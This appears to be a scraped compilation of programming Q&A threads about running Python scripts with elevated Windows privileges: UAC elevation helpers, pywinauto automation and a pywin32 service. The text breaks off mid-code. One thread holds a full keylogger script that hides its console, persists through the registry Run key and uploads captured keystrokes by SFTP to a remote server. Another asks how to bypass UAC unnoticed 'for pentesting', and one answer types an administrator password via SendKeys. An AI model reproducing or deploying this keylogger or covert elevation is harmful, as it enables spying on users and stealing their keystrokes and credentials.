Python windows privilege escalation - python

So, I want to run a program in administrator mode (UAC)
After some digging i foud this:
import os
import types
from traceback import print_exc
from sys import argv, executable
def isUserAdmin():
if os.name == 'nt':
import ctypes
# WARNING: requires Windows XP SP2 or higher!
try:
return ctypes.windll.shell32.IsUserAnAdmin()
except:
print_exc()
print "Admin check failed, assuming not an admin."
return False
elif os.name == 'posix':
# Check for root on Posix
return os.getuid() == 0
else:
raise RuntimeError, "Unsupported operating system for this module: %s" % (os.name,)
def runAsAdmin(cmdLine=None, wait=True):
if os.name != 'nt':
raise RuntimeError, "This function is only implemented on Windows."
import win32api, win32con, win32event, win32process
from win32com.shell.shell import ShellExecuteEx
from win32com.shell import shellcon
python_exe = executable
if cmdLine is None:
cmdLine = [python_exe] + argv
elif type(cmdLine) not in (types.TupleType,types.ListType):
raise ValueError, "cmdLine is not a sequence."
cmd = '"%s"' % (cmdLine[0],)
# XXX TODO: isn't there a function or something we can call to massage command line params?
params = " ".join(['"%s"' % (x,) for x in cmdLine[1:]])
cmdDir = ''
showCmd = win32con.SW_SHOWNORMAL
#showCmd = win32con.SW_HIDE
lpVerb = 'runas' # causes UAC elevation prompt.
# print "Running", cmd, params
# ShellExecute() doesn't seem to allow us to fetch the PID or handle
# of the process, so we can't get anything useful from it. Therefore
# the more complex ShellExecuteEx() must be used.
# procHandle = win32api.ShellExecute(0, lpVerb, cmd, params, cmdDir, showCmd)
procInfo = ShellExecuteEx(nShow=showCmd,
fMask=shellcon.SEE_MASK_NOCLOSEPROCESS,
lpVerb=lpVerb,
lpFile=cmd,
lpParameters=params)
if wait:
procHandle = procInfo['hProcess']
obj = win32event.WaitForSingleObject(procHandle, win32event.INFINITE)
rc = win32process.GetExitCodeProcess(procHandle)
#print "Process handle %s returned code %s" % (procHandle, rc)
else:
rc = None
return rc
def test():
rc = 0
if not isUserAdmin():
print "You're not an admin.", os.getpid(), "params: ", argv
#rc = runAsAdmin(["c:\\Windows\\notepad.exe"])
rc = runAsAdmin()
else:
print "You are an admin!", os.getpid(), "params: ", argv
rc = 0
x = raw_input('Press Enter to exit.')
return rc
if __name__ == "__main__":
if not isUserAdmin():
runAsAdmin()
Which asks the user for admin. permission,but i have two main problems with it:
1.The user needs to give the program permission.(Problematic for pentesting)
2.Every time the program is run the user needs to give the program permission.(which is suspicious)
Is there a way to bypass this?
ps. windows 7 and no direct access

Assuming you have access to the computers this script is running on then you can follow the instructions in this link...
http://www.howtogeek.com/124087/how-to-create-a-shortcut-that-lets-a-standard-user-run-an-application-as-administrator/
It will allow a standard user to run a particular application as an administrator. I've used this guide successfully on other apps but never on a python script. Might work for you.

Related

Automate an application by opening in Admin mode using Python

Requirement :
Open an application in admin mode using the script and automate its activities.
Activities includes opening the File Menu -> Load a file and do the required tasks.
About the Application :
The application I am trying to automate is developed using C#, WPF with C++ and Java Libraries.
Language used for automation : Python.
Version : 2.7.14
Modules used : Pywinauto, Pyautogui
Attempts done :
In the compatability of the application, it was set to Run as Admin and tried to open the application using the following code, but resulted in a Set of runtime errors.
Prerequisite :
Code used :
from pywinauto.application import Application
import time
app = Application(backend="uia").start("C:\Program Files\**sample**.exe")
#app = Application(backend="uia").connect("C:\Program Files\**sample**.exe")
dlg = app.Update
time.sleep(2)
app.windows()
window = app.top_window()
print app.windows()
print('printing the control identifiers')
window.print_control_identifiers()
Error :
raise AppStartError(message)
pywinauto.application.AppStartError: Could not create the process "C:\Program Files*sample*.exe"
Error returned by CreateProcess: (740, 'CreateProcess', 'The requested operation requires elevation.')
Tried opening the Application in Admin mode using the following reference :
How to run python script with elevated privilege on windows
But I am not able to do the automation as desired.
Outcome : I am able to open the application with Admin Privilege, but the pywinauto and pyautogui scripts are failing.
Error : Not able to use Pyautogui and pywinauto scripts with runAsAdmin()
Note : In order to open the application and do the automation Pywinauto was used and tried to interact with the application menus, it failed, so made a script with Pyautogui taking coordinates.
Code :
import sys, os, traceback, types
import pywinauto.controls.uia_controls
from pywinauto import mouse
import time
import os
import pyautogui
import pywinauto
def isUserAdmin():
if os.name == 'nt':
import ctypes
# WARNING: requires Windows XP SP2 or higher!
try:
return ctypes.windll.shell32.IsUserAnAdmin()
except:
traceback.print_exc()
print "Admin check failed, assuming not an admin."
return False
elif os.name == 'posix':
# Check for root on Posix
return os.getuid() == 0
else:
raise RuntimeError, "Unsupported operating system for this module: %s" % (os.name,)
def runAsAdmin(cmdLine=None, wait=True):
if os.name != 'nt':
raise RuntimeError, "This function is only implemented on Windows."
import win32api, win32con, win32event, win32process
from win32com.shell.shell import ShellExecuteEx
from win32com.shell import shellcon
python_exe = sys.executable
if cmdLine is None:
cmdLine = [python_exe] + sys.argv
elif type(cmdLine) not in (types.TupleType,types.ListType):
raise ValueError, "cmdLine is not a sequence."
cmd = '"%s"' % (cmdLine[0],)
# XXX TODO: isn't there a function or something we can call to massage command line params?
params = " ".join(['"%s"' % (x,) for x in cmdLine[1:]])
cmdDir = ''
showCmd = win32con.SW_SHOWNORMAL
#showCmd = win32con.SW_HIDE
lpVerb = 'runas' # causes UAC elevation prompt.
# print "Running", cmd, params
# ShellExecute() doesn't seem to allow us to fetch the PID or handle
# of the process, so we can't get anything useful from it. Therefore
# the more complex ShellExecuteEx() must be used.
# procHandle = win32api.ShellExecute(0, lpVerb, cmd, params, cmdDir, showCmd)
procInfo = ShellExecuteEx(nShow=showCmd,
fMask=shellcon.SEE_MASK_NOCLOSEPROCESS,
lpVerb=lpVerb,
lpFile=cmd,
lpParameters=params)
if wait:
procHandle = procInfo['hProcess']
obj = win32event.WaitForSingleObject(procHandle, win32event.INFINITE)
rc = win32process.GetExitCodeProcess(procHandle)
#print "Process handle %s returned code %s" % (procHandle, rc)
else:
rc = None
return rc
def test():
rc = 0
if not isUserAdmin():
print "You're not an admin.", os.getpid(), "params: ", sys.argv
rc = runAsAdmin(["C:\Program Files\**sample**.exe"])
time.sleep(10)
pywinauto.mouse.click(button='left', coords=(1199, 478))
app1 = rc['sample']
pywinauto.mouse.click(button='left', coords=(42, 33))
time.sleep(10)
print(pyautogui.position())
rc = runAsAdmin()
else:
print "You are an admin!", os.getpid(), "params: ", sys.argv
rc = 0
x = raw_input('Press Enter to exit.')
return rc
if __name__ == "__main__":
sys.exit(test())
3.Tried to open the application without admin privileges tried the automation Pywinauto was used and tried to interact with the application menus, it failed.
Code :
import pywinauto
from pywinauto import application, timings
import pyautogui
from pywinauto.keyboard import send_keys
from pywinauto.application import Application
import pywinauto.controls.uia_controls
from pywinauto import mouse
import win32api
import git
import time
import os
app = Application(backend="uia").start("C:\Program Files\**sample**.exe")
#app = Application(backend="uia").connect("C:\Program Files\**sample**.exe")
dlg = app.Update
time.sleep(2)
app.windows()
window = app.top_window()
print app.windows()
print('printing the control identifiers')
window.print_control_identifiers()
app1 = app[u'**sample**']
app2 = Application.connect(title=u'**sample**')
app1.print_control_identifiers()
apps = app1[u'File']
#print apps
dlg_spec = app.Untitled**sample**
print('dlg_spec :')
#print dlg_spec
print('Done sample')
#time.sleep(2)
Would be great if someone can help with a script using Pywinauto to do the automation that includes opening the application in Admin Mode and interacting with the menus in it.
Thanks in Advance
You have to disable UAC in OS settings manually. UAC confirmation dialog is not automatable by OS design (of course!). With disabled UAC you will not see confirmation dialog and the recipe (2) in your post will work.
But please note that it's better to restart the script as admin, not just start the app as admin. Because otherwise pywinauto non-privileged process won't have access to admin process of the app.

Regedit starting program, but not working properly

I am trying to make my keylogger program start up at boot time. I put it in "Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" through regedit. When I open Task Manager, it is in the processes list, but I am not finding the text file it logs to. I am aware of the directory it is in. When I manually start the program, it is there. I am running a 64-bit Windows Ultimate version. I compiled the file to a single executable. This is the script:
try:
import pythoncom, pyHook
except:
print "Please Install pythoncom and pyHook modules"
exit(0)
import os
import sys
import threading
import urllib,urllib2
import smtplib
import ftplib
import datetime,time
import win32event, win32api, winerror
from _winreg import *
#Disallowing Multiple Instance
mutex = win32event.CreateMutex(None, 1, 'mutex_var_xboz')
if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:
mutex = None
print "Multiple Instance not Allowed"
exit(0)
x=''
data=''
count=0
#Hide Console
def hide():
import win32console,win32gui
window = win32console.GetConsoleWindow()
win32gui.ShowWindow(window,0)
return True
#Local Keylogger
def local():
global data
if len(data)>100:
fp=open("keylogs.txt","a")
fp.write(data)
fp.close()
data=''
return True
#Upload logs to FTP account
def ftp():
global data,count
if len(data)>100:
count+=1
FILENAME="logs-"+str(count)+".txt"
fp=open(FILENAME,"a")
fp.write(data)
fp.close()
data=''
try:
FILENAME="logs-"+str(count)+".txt"
fp=open(FILENAME,"a")
fp.write(data)
fp.close()
OUTPUT_DIR="/home/"+FILENAME
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect('', username='', password='')
ftp = ssh.open_sftp()
ftp.put(FILENAME, OUTPUT_DIR)
ftp.close()
except Exception as e:
print e
return True
def main():
global x
x=1
hide()
return True
if __name__ == '__main__':
main()
def keypressed(event):
global x,data
if event.Ascii==13:
keys='<ENTER>'
elif event.Ascii==8:
keys='<BACK SPACE>'
elif event.Ascii==9:
keys='<TAB>'
else:
keys=chr(event.Ascii)
data=data+keys
if x==1:
local()
elif x==2:
remote()
elif x==4:
ftp()
obj = pyHook.HookManager()
obj.KeyDown = keypressed
obj.HookKeyboard()
pythoncom.PumpMessages()
I have compiled the script to exe with py2exe and pyinstaller with the same results. I also tried putting it in the Startup folder with no luck. The script does not need any administrative rights. I have tried disabling UAC, but no luck their either.

pywin32 service start error: no module named 'tmp'

Question
I am attempting to start a Python script as a Windows service using pywin32. I can properly install and remove the service, but while installed, its state never changes from "stopped." How can I fix my code so that the service actually runs?
Code
#!/bin/python
import winerror
import win32event
import win32service
import win32serviceutil
SVC_RUN = 1
SVC_REMOVE = 2
class TMP_Service(win32serviceutil.ServiceFramework):
_svc_name_ = "tmp_svc_name"
_svc_display_name_ = "tmp svc disp name"
_svc_reg_class = "tmp.reg_class"
_svc_description_ = "tmp description"
def __init__(self, dut_name):
win32serviceutil.ServiceFramework.__init__(self, args)
self.hWaitStop = win32event.CreateEvent(None, 0, 0, None)
def SvcStop(self):
self.reportServiceStatus(win32service.SERVICE_STOP_PENDING)
# I will call reactor.callFromThread(reactor.stop) here to stop the
# FTP and SCP listeners
win32event.SetEvent(self.hWaitStop)
def SvcDoRun(self):
self.ReportServiceStatus(win32service.SERVICE_RUNNING)
# This infinite loop simulates future behavior of my service. It will
# run a Twisted reactor to handle FTP and TCP network connections.
while True:
pass
win32event.WaitforSingleObject(self.hWaitStop, win32event.INFINITE)
def install_svc():
try:
win32serviceutil.InstallService(
TMP_Service._svc_reg_class,
TMP_Service._svc_name_,
TMP_Service._svc_display_name_,
startType=win32service.SERVICE_AUTO_START)
except win32service.error as e:
if e[0] == winerror.ERROR_SERVICE_EXISTS:
pass # ignore install error if service is already installed
else:
raise
def handle_service(svc):
if svc == SVC_RUN:
try:
win32serviceutil.StartService(TMP_Service._svc_name_)
except win32service.error as e:
if ((e[0] == winerror.ERROR_SERVICE_ALREADY_RUNNING) or
(e[0] == winerror.ERROR_ALREADY_RUNNING_LKG)):
pass # ignore failed start if the service is already running
elif e[0] == winerror.ERROR_SERVICE_DOES_NOT_EXIST:
# if the service is not installed, install it and try again
install_svc()
win32serviceutil.StartService(TMP_Service._svc_name_)
else:
# reraise any other start expection
raise
status = win32serviceutil.QueryServiceStatus(TMP_Service._svc_name_)
print("Service status: {}".format(status[1]))
else:
try:
win32serviceutil.RemoveService(TMP_Service._svc_name_)
except win32service.error as e:
if e[0] == winerror.ERROR_SERVICE_DOES_NOT_EXIST:
pass # ignore failed removal if service is not installed
else:
# reraise any other remove exception
raise
if __name__ == "__main__":
handle_service(SVC_RUN)
Other Details
When I look at the system event logs, I see this error:
Python could not import the service's module
ImportError: No module named tmp
%2: %3
The timestamp for these messages match the times that I tried to run this script.
I have seen this question: Can't start Windows service written in Python (win32serviceutil). Based on the advice there, I have made my code match the suggestion in the top answer there, and made sure that C:\Python27 is in my system path. Neither suggestion made a difference.
The status that is printed is always "2". According to MSDN, this is SERVICE_START_PENDING, which means the service should be starting.
Updated Details
If I change the value of the _svc_reg_class_ attribute to "tmp2.reg_class", then the name of the missing module, as reported in the Windows event log, changes to "tmp2", so this error is related to the _svc_reg_class_ attribute.
In reply to a comment below: I don't think I can capture the full traceback, because my service class is instantiated and used in the pywin32 library code. The offending import doesn't happen anywhere in my code, so there's nothing for me to wrap in a try/except block.
Change the _svc_reg_class = "tmp.reg_class" as shown below.
try:
module_path = modules[TMP_Service.__module__].__file__
except AttributeError:
# maybe py2exe went by
from sys import executable
module_path = executable
module_file = splitext(abspath(module_path))[0]
TMP_Service._svc_reg_class = '%s.%s' % (module_file, TMP_Service.__name__)
Below is the complete modified version of your original code.
#!/bin/python
import winerror
import win32event
import win32service
import win32serviceutil
from sys import modules
from os.path import splitext, abspath
SVC_RUN = 1
SVC_REMOVE = 2
class TMP_Service(win32serviceutil.ServiceFramework):
_svc_name_ = "tmp_svc_name"
_svc_display_name_ = "tmp svc disp name"
_svc_reg_class = "tmp.reg_class"
_svc_description_ = "tmp description"
def __init__(self, args):
win32serviceutil.ServiceFramework.__init__(self, args)
self.hWaitStop = win32event.CreateEvent(None, 0, 0, None)
def SvcStop(self):
self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING)
self.Stop = True
# I will call reactor.callFromThread(reactor.stop) here to stop the
# FTP and SCP listeners
win32event.SetEvent(self.hWaitStop)
self.ReportServiceStatus(win32service.SERVICE_STOPPED)
def SvcDoRun(self):
self.Stop = False
self.ReportServiceStatus(win32service.SERVICE_RUNNING)
# This infinite loop simulates future behavior of my service. It will
# run a Twisted reactor to handle FTP and TCP network connections.
while self.Stop == False:
pass
win32event.WaitforSingleObject(self.hWaitStop, win32event.INFINITE)
def install_svc():
try:
module_path = modules[TMP_Service.__module__].__file__
except AttributeError:
# maybe py2exe went by
from sys import executable
module_path = executable
module_file = splitext(abspath(module_path))[0]
TMP_Service._svc_reg_class = '%s.%s' % (module_file, TMP_Service.__name__)
try:
win32serviceutil.InstallService(
TMP_Service._svc_reg_class,
TMP_Service._svc_name_,
TMP_Service._svc_display_name_,
startType=win32service.SERVICE_AUTO_START)
except win32service.error as e:
if e[0] == winerror.ERROR_SERVICE_EXISTS:
pass # ignore install error if service is already installed
else:
raise
def handle_service(svc):
if svc == SVC_RUN:
try:
win32serviceutil.StartService(TMP_Service._svc_name_)
except win32service.error as e:
if ((e[0] == winerror.ERROR_SERVICE_ALREADY_RUNNING) or
(e[0] == winerror.ERROR_ALREADY_RUNNING_LKG)):
pass # ignore failed start if the service is already running
elif e[0] == winerror.ERROR_SERVICE_DOES_NOT_EXIST:
# if the service is not installed, install it and try again
install_svc()
win32serviceutil.StartService(TMP_Service._svc_name_)
else:
# reraise any other start expection
raise
status = win32serviceutil.QueryServiceStatus(TMP_Service._svc_name_)
print("Service status: {}".format(status[1]))
else:
try:
win32serviceutil.RemoveService(TMP_Service._svc_name_)
except win32service.error as e:
if e[0] == winerror.ERROR_SERVICE_DOES_NOT_EXIST:
pass # ignore failed removal if service is not installed
else:
# reraise any other remove exception
raise
if __name__ == "__main__":
handle_service(SVC_RUN)
Reference: here

calling functions from command prompt

Here is the extract of the script (untested)
def start_custer():
try:
myidentifier=mydict['DescribeClustersResponse']['DescribeClustersResult']['Clusters'][0]['ClusterIdentifier']
except IndexError:
conn.restore_from_cluster_snapshot('vi-mar5-deliveryreport-new', mysnapidentifier, availability_zone='us-east-1a')
def stop_cluster():
try:
myidentifier=mydict['DescribeClustersResponse']['DescribeClustersResult']['Clusters'][0]['ClusterIdentifier']
conn.delete_cluster(myidentifier, skip_final_cluster_snapshot=False, final_cluster_snapshot_identifier=myvar)
except:
print "error"
Are these functions technically (syntactically) correct?
How do I call them while calling the python script? I need to either start or stop cluster at a time, not both.
For your second question, I'd parse the command line via argparse:
import argparse
parser = argparse.ArgumentParser(description="Manage the cluster")
parser.add_argument("action", choices=["stop", "start"],
help="Action to perform")
args = parser.parse_args()
if args.action == "start":
start_cluster()
if args.action == "stop":
stop_cluster()
Others have shown you the best way to do this, but for the record, you can also do this from the command line:
python -c "import cluster; cluster.start_cluster()"
(assuming your module file is named cluster.py -- adjust the import statement accordingly if not)
This isn't as user-friendly as parsing the command line yourself but it'll do in a pinch.
1) It's Syntactically correct, if you have defined conn somewhere and imported it !
2)
def stop_cluster():
## Your code
def fun():
## your code
if __name__ == "__main__":
import sys
globals()[sys.argv[1]]()
Usage:
python2.7 test_syn.py fun
I have added a main function to your script which checks for command line args, then prompts you if no valid argument has been supplied:
import sys
def start_custer():
try:
myidentifier=mydict['DescribeClustersResponse']['DescribeClustersResult']['Clusters'][0]['ClusterIdentifier']
except IndexError:
conn.restore_from_cluster_snapshot('vi-mar5-deliveryreport-new', mysnapidentifier, availability_zone='us-east-1a')
def stop_cluster():
try:
myidentifier=mydict['DescribeClustersResponse']['DescribeClustersResult']['Clusters'][0]['ClusterIdentifier']
conn.delete_cluster(myidentifier, skip_final_cluster_snapshot=False, final_cluster_snapshot_identifier=myvar)
except:
print "error"
def main():
valid_args, proc = ['start','stop'], None
# check if cmd line args were passed in (>1 as sys.argv[0] is name of program)
if len(sys.argv) > 1:
if sys.argv[1].lower() in valid_args:
proc = sys.argv[1].lower()
# if a valid arg was passed in this has been stored in proc, if not prompt user
while not proc or proc not in valid_args:
print "\nPlease state which procedure you want to call, valid options are:", valid_args
proc = raw_input('>>> ').lower()
# prompt user if invalid
if proc not in valid_args:
print proc, 'is not a valid selection.'
if proc == 'start':
start_custer()
elif proc == 'stop':
stop_cluster()
# this makes the script automatically call main when starting up
if __name__ == '__main__':
main()
You can call this from the command line e.g. if you were in the same directory as the file (e.g. named cluster_ctrl.py) just:
python cluster_ctrl.py start

How to run script with elevated privilege on windows

I am writing a pyqt application which require to execute admin task. I would prefer to start my script with elevate privilege. I am aware that this question is asked many times in SO or in other forum. But the solution people are suggesting is to have a look at this SO question
Request UAC elevation from within a Python script?
However, I am unable to execute the sample code given in the link. I have put this code on top of the main file and tried to execute it.
import os
import sys
import win32com.shell.shell as shell
ASADMIN = 'asadmin'
if sys.argv[-1] != ASADMIN:
script = os.path.abspath(sys.argv[0])
params = ' '.join([script] + sys.argv[1:] + [ASADMIN])
shell.ShellExecuteEx(lpVerb='runas', lpFile=sys.executable, lpParameters=params)
sys.exit(0)
print "I am root now."
It actually ask permission to elevate but print line never get executed. Somebody can help me to run the above code successfully.
Update as on 19-02-2023
The update to the below script is now alive as a Python package by the same author. You can install it from PyPi which lives at https://pypi.org/project/pyuac/ and the source code/ home page is located at https://github.com/Preston-Landers/pyuac. Install it using:
pip install pyuac
Direct usage of the package is:
import pyuac
def main():
print("Do stuff here that requires being run as an admin.")
# The window will disappear as soon as the program exits!
input("Press enter to close the window. >")
if __name__ == "__main__":
if not pyuac.isUserAdmin():
print("Re-launching as admin!")
pyuac.runAsAdmin()
else:
main() # Already an admin here.
or if you wish to use it using decorater:
from pyuac import main_requires_admin
#main_requires_admin
def main():
print("Do stuff here that requires being run as an admin.")
# The window will disappear as soon as the program exits!
input("Press enter to close the window. >")
if __name__ == "__main__":
main()
Original answer
Thank you all for your reply. I got my script working with the module/ script written by Preston Landers in 2010. After two days of browsing the internet, I could find the script as it was deeply hidden in the pywin32 mailing list. With this script, it is easier to check if the user is admin, and if not then ask for UAC/ admin right. It does provide output in separate windows to find out what the code is doing. An example of how to use the code is also included in the script. For the benefit of all who are looking for UAC on windows have a look at this code. I hope it helps someone looking for the same solution. It can be used something like this from your main script:-
import admin
if not admin.isUserAdmin():
admin.runAsAdmin()
The actual code is:-
#!/usr/bin/env python
# -*- coding: utf-8; mode: python; py-indent-offset: 4; indent-tabs-mode: nil -*-
# vim: fileencoding=utf-8 tabstop=4 expandtab shiftwidth=4
# (C) COPYRIGHT © Preston Landers 2010
# Released under the same license as Python 2.6.5
import sys, os, traceback, types
def isUserAdmin():
if os.name == 'nt':
import ctypes
# WARNING: requires Windows XP SP2 or higher!
try:
return ctypes.windll.shell32.IsUserAnAdmin()
except:
traceback.print_exc()
print "Admin check failed, assuming not an admin."
return False
elif os.name == 'posix':
# Check for root on Posix
return os.getuid() == 0
else:
raise RuntimeError, "Unsupported operating system for this module: %s" % (os.name,)
def runAsAdmin(cmdLine=None, wait=True):
if os.name != 'nt':
raise RuntimeError, "This function is only implemented on Windows."
import win32api, win32con, win32event, win32process
from win32com.shell.shell import ShellExecuteEx
from win32com.shell import shellcon
python_exe = sys.executable
if cmdLine is None:
cmdLine = [python_exe] + sys.argv
elif type(cmdLine) not in (types.TupleType,types.ListType):
raise ValueError, "cmdLine is not a sequence."
cmd = '"%s"' % (cmdLine[0],)
# XXX TODO: isn't there a function or something we can call to massage command line params?
params = " ".join(['"%s"' % (x,) for x in cmdLine[1:]])
cmdDir = ''
showCmd = win32con.SW_SHOWNORMAL
#showCmd = win32con.SW_HIDE
lpVerb = 'runas' # causes UAC elevation prompt.
# print "Running", cmd, params
# ShellExecute() doesn't seem to allow us to fetch the PID or handle
# of the process, so we can't get anything useful from it. Therefore
# the more complex ShellExecuteEx() must be used.
# procHandle = win32api.ShellExecute(0, lpVerb, cmd, params, cmdDir, showCmd)
procInfo = ShellExecuteEx(nShow=showCmd,
fMask=shellcon.SEE_MASK_NOCLOSEPROCESS,
lpVerb=lpVerb,
lpFile=cmd,
lpParameters=params)
if wait:
procHandle = procInfo['hProcess']
obj = win32event.WaitForSingleObject(procHandle, win32event.INFINITE)
rc = win32process.GetExitCodeProcess(procHandle)
#print "Process handle %s returned code %s" % (procHandle, rc)
else:
rc = None
return rc
def test():
rc = 0
if not isUserAdmin():
print "You're not an admin.", os.getpid(), "params: ", sys.argv
#rc = runAsAdmin(["c:\\Windows\\notepad.exe"])
rc = runAsAdmin()
else:
print "You are an admin!", os.getpid(), "params: ", sys.argv
rc = 0
x = raw_input('Press Enter to exit.')
return rc
if __name__ == "__main__":
sys.exit(test())
in comments to the answer you took the code from someone says ShellExecuteEx doesn't post its STDOUT back to the originating shell. so you will not see "I am root now", even though the code is probably working fine.
instead of printing something, try writing to a file:
import os
import sys
import win32com.shell.shell as shell
ASADMIN = 'asadmin'
if sys.argv[-1] != ASADMIN:
script = os.path.abspath(sys.argv[0])
params = ' '.join([script] + sys.argv[1:] + [ASADMIN])
shell.ShellExecuteEx(lpVerb='runas', lpFile=sys.executable, lpParameters=params)
sys.exit(0)
with open("somefilename.txt", "w") as out:
print >> out, "i am root"
and then look in the file.
I found a very easy solution to this problem.
Create a shortcut for python.exe
Change the shortcut target into something like C:\xxx\...\python.exe your_script.py
Click "advance..." in the property panel of the shortcut, and click the option "run as administrator"
I'm not sure whether the spells of these options are right, since I'm using Chinese version of Windows.
Here is a solution which needed ctypes module only. Support pyinstaller wrapped program.
#!python
# coding: utf-8
import sys
import ctypes
def run_as_admin(argv=None, debug=False):
shell32 = ctypes.windll.shell32
if argv is None and shell32.IsUserAnAdmin():
return True
if argv is None:
argv = sys.argv
if hasattr(sys, '_MEIPASS'):
# Support pyinstaller wrapped program.
arguments = map(unicode, argv[1:])
else:
arguments = map(unicode, argv)
argument_line = u' '.join(arguments)
executable = unicode(sys.executable)
if debug:
print 'Command line: ', executable, argument_line
ret = shell32.ShellExecuteW(None, u"runas", executable, argument_line, None, 1)
if int(ret) <= 32:
return False
return None
if __name__ == '__main__':
ret = run_as_admin()
if ret is True:
print 'I have admin privilege.'
raw_input('Press ENTER to exit.')
elif ret is None:
print 'I am elevating to admin privilege.'
raw_input('Press ENTER to exit.')
else:
print 'Error(ret=%d): cannot elevate privilege.' % (ret, )
Here is a solution with an stdout redirection:
def elevate():
import ctypes, win32com.shell.shell, win32event, win32process
outpath = r'%s\%s.out' % (os.environ["TEMP"], os.path.basename(__file__))
if ctypes.windll.shell32.IsUserAnAdmin():
if os.path.isfile(outpath):
sys.stderr = sys.stdout = open(outpath, 'w', 0)
return
with open(outpath, 'w+', 0) as outfile:
hProc = win32com.shell.shell.ShellExecuteEx(lpFile=sys.executable, \
lpVerb='runas', lpParameters=' '.join(sys.argv), fMask=64, nShow=0)['hProcess']
while True:
hr = win32event.WaitForSingleObject(hProc, 40)
while True:
line = outfile.readline()
if not line: break
sys.stdout.write(line)
if hr != 0x102: break
os.remove(outpath)
sys.stderr = ''
sys.exit(win32process.GetExitCodeProcess(hProc))
if __name__ == '__main__':
elevate()
main()
It worth mentioning that if you intend to package your application with PyInstaller and wish to avoid supporting that feature by yourself, you can pass the --uac-admin or --uac-uiaccess argument in order to request UAC elevation on start.
make a batch file
add python.exe "(your py file here)" with the quotation marks
save the batch file
right click, then click run as administrator
Also if your working directory is different than you can use lpDirectory
procInfo = ShellExecuteEx(nShow=showCmd,
lpVerb=lpVerb,
lpFile=cmd,
lpDirectory= unicode(direc),
lpParameters=params)
Will come handy if changing the path is not a desirable option
remove unicode for python 3.X
This worked for me:
import win32com.client as client
required_command = "cmd" # Enter your command here
required_password = "Simple1" # Enter your password here
def run_as(required_command, required_password):
shell = client.Dispatch("WScript.shell")
shell.Run(f"runas /user:administrator {required_command}")
time.sleep(1)
shell.SendKeys(f"{required_password}\r\n", 0)
if __name__ = '__main__':
run_as(required_command, required_password)
Below are the references I used for above code:
https://win32com.goermezer.de/microsoft/windows/controlling-applications-via-sendkeys.html
https://www.oreilly.com/library/view/python-cookbook/0596001673/ch07s16.html
Use pyuac
it is the update to the orignal admin Script by Preston Landers
Link to python Projects: https://pypi.org/project/pyuac/
Github: https://github.com/Preston-Landers/pyuac
This worked for me it
from pyuac import main_requires_admin
#main_requires_admin
def main():
print("Do stuff here that requires being run as an admin.")
# The window will disappear as soon as the program exits!
input("Press enter to close the window. >")
if __name__ == "__main__":
main()
JetBrains' WinElevator (signed elevator.exe and launcher.exe available here) allows you to spawn a subprocess that requests elevated privileges while keeping stdin/stdout/stderr intact:
import ctypes
import subprocess
import sys
if not ctypes.windll.shell32.IsUserAnAdmin():
print("not an admin, restarting...")
subprocess.run(["launcher.exe", sys.executable, *sys.argv])
else:
print("I'm an admin now.")
> python example.py
not an admin, restarting...
# UAC prompt is shown
I'm an admin now.
I can confirm that the solution by delphifirst works and is the easiest, simplest solution to the problem of running a python script with elevated privileges.
I created a shortcut to the python executable (python.exe) and then modified the shortcut by adding my script's name after the call to python.exe. Next I checked "run as administrator" on the "compatibility tab" of the shortcut. When the shortcut is executed, you get a prompt asking permission to run the script as an administrator.
My particular python application was an installer program. The program allows installing and uninstalling another python app. In my case I created two shortcuts, one named "appname install" and the other named "appname uninstall". The only difference between the two shortcuts is the argument following the python script name. In the installer version the argument is "install". In the uninstall version the argument is "uninstall". Code in the installer script evaluates the argument supplied and calls the appropriate function (install or uninstall) as needed.
I hope my explanation helps others more quickly figure out how to run a python script with elevated privileges.
Make sure you have python in path,if not,win key + r, type in "%appdata%"(without the qotes) open local directory, then go to Programs directory ,open python and then select your python version directory. Click on file tab and select copy path and close file explorer.
Then do win key + r again, type control and hit enter. search for environment variables. click on the result, you will get a window. In the bottom right corner click on environmental variables. In the system side find path, select it and click on edit.
In the new window, click on new and paste the path in there. Click ok and then apply in the first window. Restart your PC. Then do win + r for the last time, type cmd and do ctrl + shift + enter. Grant the previliges and open file explorer, goto your script and copy its path. Go back into cmd , type in "python" and paste the path and hit enter. Done
I wanted a more enhanced version so I ended up with a module which allows:
UAC request if needed, printing and logging from nonprivileged instance (uses ipc and a network port) and some other candies. usage is just insert elevateme() in your script: in nonprivileged it listen for privileged print/logs and then exits returning false, in privileged instance it returns true immediately.
Supports pyinstaller.
prototype:
# xlogger : a logger in the server/nonprivileged script
# tport : open port of communication, 0 for no comm [printf in nonprivileged window or silent]
# redir : redirect stdout and stderr from privileged instance
#errFile : redirect stderr to file from privileged instance
def elevateme(xlogger=None, tport=6000, redir=True, errFile=False):
winadmin.py
#!/usr/bin/env python
# -*- coding: utf-8; mode: python; py-indent-offset: 4; indent-tabs-mode: nil -*-
# vim: fileencoding=utf-8 tabstop=4 expandtab shiftwidth=4
# (C) COPYRIGHT © Preston Landers 2010
# (C) COPYRIGHT © Matteo Azzali 2020
# Released under the same license as Python 2.6.5/3.7
import sys, os
from traceback import print_exc
from multiprocessing.connection import Listener, Client
import win32event #win32com.shell.shell, win32process
import builtins as __builtin__ # python3
# debug suffixes for remote printing
dbz=["","","",""] #["J:","K:", "G:", "D:"]
LOGTAG="LOGME:"
wrconn = None
#fake logger for message sending
class fakelogger:
def __init__(self, xlogger=None):
self.lg = xlogger
def write(self, a):
global wrconn
if wrconn is not None:
wrconn.send(LOGTAG+a)
elif self.lg is not None:
self.lg.write(a)
else:
print(LOGTAG+a)
class Writer():
wzconn=None
counter = 0
def __init__(self, tport=6000,authkey=b'secret password'):
global wrconn
if wrconn is None:
address = ('localhost', tport)
try:
wrconn = Client(address, authkey=authkey)
except:
wrconn = None
wzconn = wrconn
self.wrconn = wrconn
self.__class__.counter+=1
def __del__(self):
self.__class__.counter-=1
if self.__class__.counter == 0 and wrconn is not None:
import time
time.sleep(0.1) # slows deletion but is enough to print stderr
wrconn.send('close')
wrconn.close()
def sendx(cls, mesg):
cls.wzconn.send(msg)
def sendw(self, mesg):
self.wrconn.send(msg)
#fake file to be passed as stdout and stderr
class connFile():
def __init__(self, thekind="out", tport=6000):
self.cnt = 0
self.old=""
self.vg=Writer(tport)
if thekind == "out":
self.kind=sys.__stdout__
else:
self.kind=sys.__stderr__
def write(self, *args, **kwargs):
global wrconn
global dbz
from io import StringIO # # Python2 use: from cStringIO import StringIO
mystdout = StringIO()
